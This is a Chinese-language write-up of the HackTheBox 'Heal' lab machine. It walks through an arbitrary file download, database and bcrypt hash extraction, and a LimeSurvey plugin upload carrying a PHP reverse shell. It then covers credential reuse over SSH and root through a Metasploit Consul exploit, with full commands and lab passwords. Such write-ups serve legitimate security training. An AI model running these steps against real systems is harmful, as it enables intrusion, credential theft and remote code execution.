HackTheBox [Heal] WriteUp

GetShell

首先拿到 IP ,扫描端口,发现开放了 80 和 22 。

访问 80 ,跳转到 http://heal.htb ,是个填写问卷的 Web 页面,在访问页面的时候,发现有请求 http://api.heal.htb ,以及 http://take-survey.heal.htb ,资产信息大概就这么些。

测试功能点,发现导出 PDF 处存在任意文件下载。


找到两个用户 ronralph

同时,之前收集到 api.heal.htb 是 Ruby on Rails 这个 Web 框架,查看 官方文档 ,发现了数据库配置文件位于 config/database.yml

继续利用漏洞点,找到了数据库配置信息。

发现是 SQLite 数据库,可以直接访问 storage/development.sqlite3 下载。

打开数据库,找到了用户信息。


里面有 ralph 用户的密码 hash ,用 hashid 判断一下是哪种类型的 hash 。

echo '$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG' | hashid
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt

发现是破解巨慢的 bcrypt 😭 ,但是这道题还是挺仁慈的,用小字典就可以破解了,不需要 rockyou 。

hashcat -m 3200 test.hash password.txt --show
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369

经典 147258369 。

访问 http://take-survey.heal.htb/index.php/admin ,用账号 ralph 和密码 147258369 成功登录后台,然后就是喜闻乐见的后台 GetShell 环节啦。

在 GitHub 上找到一个 RCE PoC ,不过 exploit.py 不能直接跑,得手动修改一下。

先下载 Y1LD1R1M.zip 解压,然后修改里面的 config.xml 文件。

<compatibility>
        <version>3.0</version>
        <version>4.0</version>
        <version>5.0</version>
        <version>6.0</version>
        <version>7.0</version>
        <version>8.0</version>
</compatibility>

添加几行版本号,让版本适配,不修改的话会因为插件版本太老无法导入。

同时还需要修改 php-rev.php 文件,把 IP 和端口修改成自己监听反弹 shell 的端口就好。

修改完成之后,重新打包成 zip 文件,在 Plugins 配置处上传 ZIP 压缩包。上传完成后,开启 nc 监听,然后访问这个地址:

http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/php-rev.php

成功拿到 www-data 用户的反弹 shell ,查看 LimeSurvey 的配置信息。

cat /var/www/limesurvey/application/config/config.php
array(
	'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
	'emulatePrepare' => true,
	'username' => 'db_user',
	'password' => 'AdmiDi0_pA$$w0rd',
	'charset' => 'utf8',
	'tablePrefix' => 'lime_',
)

用这个密码撞库 SSH 用户 ron ,成功登录,拿到 user shell 。

提权

使用 ss 搜集开放端口。

ss -tulnp

发现开放了挺多端口的,只能一个一个开代理测试了。测试发现 8500 有个 Web 服务。

sshpass -p 'AdmiDi0_pA$$w0rd' ssh -L 8000:127.0.0.1:8500 ron@10.10.11.46 -N

是 Consul 服务,Google 发现有个 RCE ,先访问 http://localhost:8000/v1/agent/self ,验证发现 EnableRemoteScriptChecks 选项为 true 。大概率是存在漏洞了,可以直接上 MSF 。

msfconsole
use exploit/multi/misc/consul_service_exec
set RHOSTS 127.0.0.1
set RPORT 8000
set LHOST 10.10.14.53
run

成功弹 shell ,拿到 root flag 。

评论